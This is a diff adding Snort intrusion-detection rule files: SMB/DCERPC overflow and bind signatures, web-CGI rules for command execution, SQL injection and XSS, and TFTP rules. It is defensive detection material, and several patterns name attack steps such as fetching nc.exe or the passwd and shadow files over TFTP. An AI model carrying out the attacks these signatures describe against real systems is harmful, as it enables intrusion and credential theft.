+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS msqueue little endian andx bind attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,!&,128,6,relative; content:"%"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"&|00|"; within:2; distance:29; content:"|5C|PIPE|5C 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; within:1; byte_test:1,&,16,3,relative; content:"|0B|"; within:1; distance:1; content:"|B0 01|R|97 CA|Y|D0 11 A8 D5 00 A0 C9 0D 80|Q"; within:16; distance:29; flowbits:set,smb.tree.bind.msqueue; flowbits:noalert; reference:cve,2003-0995; reference:url,www.eeye.com/html/Research/Advisories/AD20030910.html; reference:url,www.microsoft.com/technet/security/bulletin/MS03-026.mspx; classtype:protocol-command-decode; sid:3173; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB msqueue little endian bind attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB%"; within:5; distance:3; byte_test:1,!&,128,6,relative; pcre:"/^.{27}/R"; content:"&|00|"; within:2; distance:29; content:"|5C|PIPE|5C 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; within:1; byte_test:1,&,16,3,relative; content:"|0B|"; within:1; distance:1; content:"|B0 01|R|97 CA|Y|D0 11 A8 D5 00 A0 C9 0D 80|Q"; within:16; distance:29; flowbits:set,smb.tree.bind.msqueue; flowbits:noalert; reference:cve,2003-0995; reference:url,www.eeye.com/html/Research/Advisories/AD20030910.html; reference:url,www.microsoft.com/technet/security/bulletin/MS03-026.mspx; classtype:protocol-command-decode; sid:3161; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB ISystemActivator unicode little endian andx bind attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,&,128,6,relative; content:"%"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"&|00|"; within:2; distance:29; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00 00 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; byte_test:1,&,16,3,relative; content:"|0B|"; within:1; distance:1; content:"|A0 01 00 00 00 00 00 00 C0 00 00 00 00 00 00|F"; within:16; distance:29; flowbits:set,dce.isystemactivator.bind; flowbits:noalert; classtype:protocol-command-decode; sid:3400; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS IrotIsRunning unicode attempt"; flow:established,to_server; flowbits:isset,smb.tree.bind.irot; content:"|00|"; depth:1; content:"|FF|SMB%"; within:5; distance:3; byte_test:1,&,128,6,relative; pcre:"/^.{27}/R"; content:"&|00|"; within:2; distance:29; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00 00 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; byte_test:1,!&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|00 02|"; within:2; distance:19; byte_jump:4,8,relative,little,align; byte_test:4,>,1024,0,little; reference:bugtraq,6005; reference:cve,2002-1561; reference:url,www.microsoft.com/technet/security/bulletin/MS03-010.mspx; classtype:protocol-command-decode; sid:3266; rev:3;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB OpenKey unicode little endian andx overflow attempt"; flow:established,to_server; flowbits:isset,smb.tree.bind.winreg; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,&,128,6,relative; content:"%"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"&|00|"; within:2; distance:29; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00 00 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; byte_test:1,&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|0F 00|"; within:2; distance:19; byte_test:2,>,2048,20,relative,little; reference:bugtraq,1331; reference:cve,2000-0377; classtype:attempted-admin; sid:3225; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS winreg andx bind attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,!&,128,6,relative; content:"%"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"&|00|"; within:2; distance:29; content:"|5C|PIPE|5C 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; byte_test:1,!&,16,3,relative; content:"|0B|"; within:1; distance:1; content:"|01 D0 8C|3D|22 F1|1|AA AA 90 00|8|00 10 03|"; within:16; distance:29; flowbits:set,smb.tree.bind.winreg; flowbits:noalert; classtype:protocol-command-decode; sid:3214; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 135 (msg:"NETBIOS DCERPC ISystemActivator path overflow attempt little endian"; flow:to_server,established; content:"|05|"; within:1; byte_test:1,&,16,3,relative; content:"|5C 5C|"; byte_test:4,>,256,-8,little,relative; flowbits:isset,dce.isystemactivator.bind; reference:bugtraq,8205; reference:cve,2003-0352; reference:nessus,11808; reference:url,www.microsoft.com/technet/security/bulletin/MS03-026.mspx; classtype:attempted-admin; sid:3197; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS CoGetInstanceFromFile little endian attempt"; flow:established,to_server; flowbits:isset,dce.isystemactivator.bind; content:"|00|"; depth:1; content:"|FF|SMB%"; within:5; distance:3; byte_test:1,!&,128,6,relative; pcre:"/^.{27}/R"; content:"&|00|"; within:2; distance:29; content:"|5C|PIPE|5C 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; byte_test:1,&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|04 00|"; within:2; distance:19; content:"|5C 5C|"; byte_test:4,>,256,6,little; classtype:protocol-command-decode; sid:3434; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB ISystemActivator bind attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB%"; within:5; distance:3; byte_test:1,!&,128,6,relative; pcre:"/^.{27}/R"; content:"&|00|"; within:2; distance:29; content:"|5C|PIPE|5C 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; byte_test:1,!&,16,3,relative; content:"|0B|"; within:1; distance:1; content:"|A0 01 00 00 00 00 00 00 C0 00 00 00 00 00 00|F"; within:16; distance:29; flowbits:set,dce.isystemactivator.bind; flowbits:noalert; classtype:protocol-command-decode; sid:3393; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS RemoteActivation unicode little endian andx attempt"; flow:established,to_server; flowbits:isset,dce.iactivation.bind; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,&,128,6,relative; content:"%"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"&|00|"; within:2; distance:29; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00 00 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; byte_test:1,&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|00 00|"; within:2; distance:19; content:"|5C 00 5C 00|"; byte_test:4,>,256,8,little; classtype:protocol-command-decode; sid:3424; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB OpenKey unicode little endian overflow attempt"; flow:established,to_server; flowbits:isset,smb.tree.bind.winreg; content:"|00|"; depth:1; content:"|FF|SMB%"; within:5; distance:3; byte_test:1,&,128,6,relative; pcre:"/^.{27}/R"; content:"&|00|"; within:2; distance:29; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00 00 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; byte_test:1,&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|0F 00|"; within:2; distance:19; byte_test:2,>,2048,20,relative,little; reference:bugtraq,1331; reference:cve,2000-0377; classtype:attempted-admin; sid:3221; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB irot unicode bind attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB%"; within:5; distance:3; byte_test:1,&,128,6,relative; pcre:"/^.{27}/R"; content:"&|00|"; within:2; distance:29; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00 00 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; byte_test:1,!&,16,3,relative; content:"|0B|"; within:1; distance:1; content:"`|9E E7 B9|R=|CE 11 AA A1 00 00|i|01 29|?"; within:16; distance:29; flowbits:set,smb.tree.bind.irot; flowbits:noalert; classtype:protocol-command-decode; sid:3242; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB CoGetInstanceFromFile unicode andx overflow attempt"; flow:established,to_server; flowbits:isset,smb.tree.bind.msqueue; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,&,128,6,relative; content:"%"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"&|00|"; within:2; distance:29; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00 00 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; within:1; byte_test:1,!&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|00 01|"; within:2; distance:19; byte_test:4,>,256,20,relative; reference:cve,2003-0995; reference:url,www.eeye.com/html/Research/Advisories/AD20030910.html; reference:url,www.microsoft.com/technet/security/bulletin/MS03-026.mspx; classtype:attempted-admin; sid:3182; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS IrotIsRunning unicode little endian attempt"; flow:established,to_server; flowbits:isset,smb.tree.bind.irot; content:"|00|"; depth:1; content:"|FF|SMB%"; within:5; distance:3; byte_test:1,&,128,6,relative; pcre:"/^.{27}/R"; content:"&|00|"; within:2; distance:29; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00 00 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; byte_test:1,&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|02 00|"; within:2; distance:19; byte_jump:4,8,relative,little,align; byte_test:4,>,1024,0,little; reference:bugtraq,6005; reference:cve,2002-1561; reference:url,www.microsoft.com/technet/security/bulletin/MS03-010.mspx; classtype:protocol-command-decode; sid:3267; rev:3;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB CoGetInstanceFromFile little endian overflow attempt"; flow:established,to_server; flowbits:isset,smb.tree.bind.msqueue; content:"|00|"; depth:1; content:"|FF|SMB%"; within:5; distance:3; byte_test:1,!&,128,6,relative; pcre:"/^.{27}/R"; content:"&|00|"; within:2; distance:29; content:"|5C|PIPE|5C 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; within:1; byte_test:1,&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|01 00|"; within:2; distance:19; byte_test:4,>,128,20,relative; reference:cve,2003-0995; reference:url,www.eeye.com/html/Research/Advisories/AD20030910.html; reference:url,www.microsoft.com/technet/security/bulletin/MS03-026.mspx; classtype:attempted-admin; sid:3177; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS IActivation unicode bind attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB%"; within:5; distance:3; byte_test:1,&,128,6,relative; pcre:"/^.{27}/R"; content:"&|00|"; within:2; distance:29; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00 00 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; byte_test:1,!&,16,3,relative; content:"|0B|"; within:1; distance:1; content:"|B8|J|9F|M|1C|}|CF 11 86 1E 00| |AF|n|7C|W"; within:16; distance:29; flowbits:set,dce.iactivation.bind; flowbits:noalert; classtype:protocol-command-decode; sid:3387; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS ISystemActivator unicode bind attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB%"; within:5; distance:3; byte_test:1,&,128,6,relative; pcre:"/^.{27}/R"; content:"&|00|"; within:2; distance:29; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00 00 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; byte_test:1,!&,16,3,relative; content:"|0B|"; within:1; distance:1; content:"|A0 01 00 00 00 00 00 00 C0 00 00 00 00 00 00|F"; within:16; distance:29; flowbits:set,dce.isystemactivator.bind; flowbits:noalert; classtype:protocol-command-decode; sid:3403; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB winreg unicode little endian andx bind attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,&,128,6,relative; content:"%"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"&|00|"; within:2; distance:29; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00 00 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; byte_test:1,&,16,3,relative; content:"|0B|"; within:1; distance:1; content:"|01 D0 8C|3D|22 F1|1|AA AA 90 00|8|00 10 03|"; within:16; distance:29; flowbits:set,smb.tree.bind.winreg; flowbits:noalert; classtype:protocol-command-decode; sid:3209; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS ISystemActivator unicode andx bind attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,&,128,6,relative; content:"%"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"&|00|"; within:2; distance:29; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00 00 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; byte_test:1,!&,16,3,relative; content:"|0B|"; within:1; distance:1; content:"|A0 01 00 00 00 00 00 00 C0 00 00 00 00 00 00|F"; within:16; distance:29; flowbits:set,dce.isystemactivator.bind; flowbits:noalert; classtype:protocol-command-decode; sid:3407; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB IActivation andx bind attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,!&,128,6,relative; content:"%"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"&|00|"; within:2; distance:29; content:"|5C|PIPE|5C 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; byte_test:1,!&,16,3,relative; content:"|0B|"; within:1; distance:1; content:"|B8|J|9F|M|1C|}|CF 11 86 1E 00| |AF|n|7C|W"; within:16; distance:29; flowbits:set,dce.iactivation.bind; flowbits:noalert; classtype:protocol-command-decode; sid:3381; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS CoGetInstanceFromFile unicode little endian andx overflow attempt"; flow:established,to_server; flowbits:isset,smb.tree.bind.msqueue; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,&,128,6,relative; content:"%"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"&|00|"; within:2; distance:29; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00 00 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; within:1; byte_test:1,&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|01 00|"; within:2; distance:19; byte_test:4,>,256,20,relative; reference:cve,2003-0995; reference:url,www.eeye.com/html/Research/Advisories/AD20030910.html; reference:url,www.microsoft.com/technet/security/bulletin/MS03-026.mspx; classtype:attempted-admin; sid:3191; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS CoGetInstanceFromFile little endian andx attempt"; flow:established,to_server; flowbits:isset,dce.isystemactivator.bind; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,!&,128,6,relative; content:"%"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"&|00|"; within:2; distance:29; content:"|5C|PIPE|5C 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; byte_test:1,&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|04 00|"; within:2; distance:19; content:"|5C 5C|"; byte_test:4,>,256,6,little; classtype:protocol-command-decode; sid:3438; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 135 (msg:"NETBIOS DCERPC irot little endian bind attempt"; flow:established,to_server; content:"|05|"; depth:1; byte_test:1,!&,16,3,relative; content:"|0B|"; within:1; distance:1; content:"`|9E E7 B9|R=|CE 11 AA A1 00 00|i|01 29|?"; within:16; distance:29; flowbits:set,smb.tree.bind.irot; flowbits:noalert; classtype:protocol-command-decode; sid:3237; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB msqueue andx bind attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,!&,128,6,relative; content:"%"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"&|00|"; within:2; distance:29; content:"|5C|PIPE|5C 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; within:1; byte_test:1,!&,16,3,relative; content:"|0B|"; within:1; distance:1; content:"|B0 01|R|97 CA|Y|D0 11 A8 D5 00 A0 C9 0D 80|Q"; within:16; distance:29; flowbits:set,smb.tree.bind.msqueue; flowbits:noalert; reference:cve,2003-0995; reference:url,www.eeye.com/html/Research/Advisories/AD20030910.html; reference:url,www.microsoft.com/technet/security/bulletin/MS03-026.mspx; classtype:protocol-command-decode; sid:3164; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS CoGetInstanceFromFile andx overflow attempt"; flow:established,to_server; flowbits:isset,smb.tree.bind.msqueue; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,!&,128,6,relative; content:"%"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"&|00|"; within:2; distance:29; content:"|5C|PIPE|5C 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; within:1; byte_test:1,!&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|00 01|"; within:2; distance:19; byte_test:4,>,128,20,relative; reference:cve,2003-0995; reference:url,www.eeye.com/html/Research/Advisories/AD20030910.html; reference:url,www.microsoft.com/technet/security/bulletin/MS03-026.mspx; classtype:attempted-admin; sid:3188; rev:2;)
--- snort-2.8.5.2.orig/rules/community-web-cgi.rules
+++ snort-2.8.5.2/rules/community-web-cgi.rules
@@ -0,0 +1,22 @@
+# Copyright 2005 Sourcefire, Inc. All Rights Reserved.
+# These rules are licensed under the GNU General Public License.
+# Please see the file LICENSE in this directory for more details. 
+# $Id: community-web-cgi.rules,v 1.20 2006/09/19 13:46:50 akirk Exp $
+
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-CGI Readfile.tcl Access"; flow:to_server,established; uricontent:"/readfile.tcl?file="; nocase; classtype:web-application-attack; reference:bugtraq,7426; sid:100000112; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-CGI HappyMall Command Execution member_html.cgi"; flow:to_server,established; uricontent:"/member_html.cgi?"; pcre:"/member_html.cgi\x3F[^\r\n]*\s*file\x3D(\x3B|\x7C)/Ui"; classtype:web-application-attack; reference:bugtraq,7530; reference:cve,2003-0243; sid:100000113; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-CGI HappyMall Command Execution normal_html.cgi"; flow:to_server,established; uricontent:"/normal_html.cgi?"; pcre:"/normal_html.cgi\x3F[^\r\n]*\s*file\x3D(\x3B|\x7C)/Ui"; classtype:web-application-attack; reference:bugtraq,7530; reference:cve,2003-0243; sid:100000114; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-CGI PHP-Nuke Web_Links Path Disclosure Null CID"; flow:to_server,established; uricontent:"modules.php?"; nocase; uricontent:"op=modload"; nocase; uricontent:"name=Web_Links"; nocase; uricontent:"file=index"; nocase; uricontent:"l_op=viewlink"; nocase; uricontent:!"cid="; classtype:web-application-attack; reference:bugtraq,7589; sid:100000115; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-CGI PHP-Nuke Web_Links Path Disclosure Non-Numeric CID"; flow:to_server,established; uricontent:"modules.php?"; nocase; uricontent:"op=modload"; nocase; uricontent:"name=Web_Links"; nocase; uricontent:"file=index"; nocase; uricontent:"l_op=viewlink"; nocase; uricontent:"cid="; pcre:"/cid=[^0-9]+/Ui"; classtype:web-application-attack; reference:bugtraq,7589; sid:100000116; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-CGI VBulliten Remote Command Execution Attempt"; flow:to_server,established; uricontent:"/forumdisplay.php?"; nocase; uricontent:"comma="; nocase; pcre:"/forumdisplay.php?[^\r\n]*comma=[^\r\n\x26]*system\x28.*\x29/Ui"; classtype:web-application-attack; reference:bugtraq,12542; sid:100000117; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"COMMUNITY WEB-CGI Stadtaus.com PHP Form Mail Remote Script Include Attack formmail.inc.php"; flow:to_server,established; uricontent:"/formmail.inc.php"; nocase; uricontent:"script_root"; nocase; pcre:"/formmail.inc.php\x3F[^\r\n]*script_root\x3D\s*http/Ui"; reference:bugtraq,12735; classtype:web-application-attack; sid:100000127; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"COMMUNITY WEB-CGI Stadtaus.com PHP Form Mail Remote Script Include Attack download_center_lite.inc.php"; flow:to_server,established; uricontent:"/download_center_lite.inc.php"; nocase; uricontent:"script_root"; nocase; pcre:"/download_center_lite.inc.php\x3F[^\r\n]*script_root\x3D\s*http/Ui"; reference:bugtraq,12735; classtype:web-application-attack; sid:100000128; rev:1;)
+#Rule submitted by Chas Tomlin
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-CGI Twiki shell command execution"; flow:to_server,established; uricontent:"/TwikiUsers?"; nocase; pcre:"/rev=\d*\s*\x7C/Ui"; classtype:web-application-activity; reference:bugtraq,14834; reference:cve,2005-2877; reference:url,twiki.org/cgi-bin/view/Codev/SecurityAlertExecuteCommandsWithRev; sid:100000156; rev:2;)
+#Rule submitted by David Maciejak
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg: "COMMUNITY WEB-CGI ATutor password_reminder.php SQL injection attempt"; flow: to_server,established; uricontent:"/password_reminder.php?"; nocase; pcre:"/form_email=[^\r\n\x26]+UNION\s+SELECT/Ui"; reference:bugtraq,14831; classtype:web-application-attack; sid:100000157; rev:1;)
+
+#Rules submitted by Avinash Shenoi (Cenzic Inc. CIA Research Team)
+alert tcp any any -> $HOME_NET $HTTP_PORTS (msg:"COMMUNITY WEB-CGI Roller Weblog XSS exploit"; flow:established,to_server; content:"POST"; nocase; depth:4; content:"method=post"; nocase; pcre:"/(name|email|url)=[^\r\n]*\x3Cscript\x3E/smi"; reference:bugtraq,20045; classtype:web-application-activity; sid:100000878; rev:2;)
+alert tcp any any -> $HOME_NET $HTTP_PORTS (msg:"COMMUNITY WEB-CGI Roller Weblog XSS exploit"; flow:established,to_server; content:"POST"; nocase; depth:4; content:"method=preview"; nocase; content:"content="; nocase; distance:0; reference:bugtraq,20045; classtype:web-application-activity; sid:100000879; rev:2;)
+alert tcp any any -> $HOME_NET $HTTP_PORTS (msg:"COMMUNITY WEB-CGI Roller Weblog XSS exploit"; flow:established,to_server; uricontent:"/sitesearch.do"; nocase; uricontent:"q="; nocase; uricontent:"<script>"; nocase; reference:bugtraq,20045; classtype:web-application-activity; sid:100000880; rev:2;)
--- snort-2.8.5.2.orig/rules/tftp.rules
+++ snort-2.8.5.2/rules/tftp.rules
@@ -0,0 +1,39 @@
+# Copyright 2001-2005 Sourcefire, Inc. All Rights Reserved
+#
+# This file may contain proprietary rules that were created, tested and
+# certified by Sourcefire, Inc. (the "VRT Certified Rules") as well as
+# rules that were created by Sourcefire and other third parties and
+# distributed under the GNU General Public License (the "GPL Rules").  The
+# VRT Certified Rules contained in this file are the property of
+# Sourcefire, Inc. Copyright 2005 Sourcefire, Inc. All Rights Reserved.
+# The GPL Rules created by Sourcefire, Inc. are the property of
+# Sourcefire, Inc. Copyright 2002-2005 Sourcefire, Inc. All Rights
+# Reserved.  All other GPL Rules are owned and copyrighted by their
+# respective owners (please see www.snort.org/contributors for a list of
+# owners and their respective copyrights).  In order to determine what
+# rules are VRT Certified Rules or GPL Rules, please refer to the VRT
+# Certified Rules License Agreement.
+#
+#
+# $Id: tftp.rules,v 1.19.2.1.2.2 2005/07/22 19:19:54 mwatchinski Exp $
+#-----------
+# TFTP RULES
+#-----------
+#
+# These signatures are based on TFTP traffic.  These include malicious files
+# that are distributed via TFTP.
+#
+# The last two signatures refer to generic GET and PUT via TFTP, which is
+# generally frowned upon on most networks, but may be used in some enviornments
+
+alert udp any any -> any 69 (msg:"TFTP GET filename overflow attempt"; content:"|00 01|"; depth:2; isdataat:100,relative; content:!"|00|"; within:100; reference:bugtraq,5328; reference:cve,2002-0813; classtype:attempted-admin; sid:1941; rev:9;)
+alert udp any any -> any 69 (msg:"TFTP PUT filename overflow attempt"; content:"|00 02|"; depth:2; isdataat:100,relative; content:!"|00|"; within:100; reference:bugtraq,7819; reference:bugtraq,8505; reference:cve,2003-0380; classtype:attempted-admin; sid:2337; rev:8;)
+alert udp any any -> any 69 (msg:"TFTP GET Admin.dll"; content:"|00 01|"; depth:2; content:"admin.dll"; offset:2; nocase; reference:url,www.cert.org/advisories/CA-2001-26.html; classtype:successful-admin; sid:1289; rev:4;)
+alert udp any any -> any 69 (msg:"TFTP GET nc.exe"; content:"|00 01|"; depth:2; content:"nc.exe"; offset:2; nocase; classtype:successful-admin; sid:1441; rev:4;)
+alert udp any any -> any 69 (msg:"TFTP GET shadow"; content:"|00 01|"; depth:2; content:"shadow"; offset:2; nocase; classtype:successful-admin; sid:1442; rev:4;)
+alert udp any any -> any 69 (msg:"TFTP GET passwd"; content:"|00 01|"; depth:2; content:"passwd"; offset:2; nocase; classtype:successful-admin; sid:1443; rev:4;)
+alert udp $EXTERNAL_NET any -> $HOME_NET 69 (msg:"TFTP parent directory"; content:".."; offset:2; reference:arachnids,137; reference:cve,1999-0183; reference:cve,2002-1209; classtype:bad-unknown; sid:519; rev:6;)
+alert udp $EXTERNAL_NET any -> $HOME_NET 69 (msg:"TFTP root directory"; content:"|00 01|/"; depth:3; reference:arachnids,138; reference:cve,1999-0183; classtype:bad-unknown; sid:520; rev:5;)
+alert udp $EXTERNAL_NET any -> $HOME_NET 69 (msg:"TFTP Put"; content:"|00 02|"; depth:2; reference:arachnids,148; reference:cve,1999-0183; classtype:bad-unknown; sid:518; rev:6;)
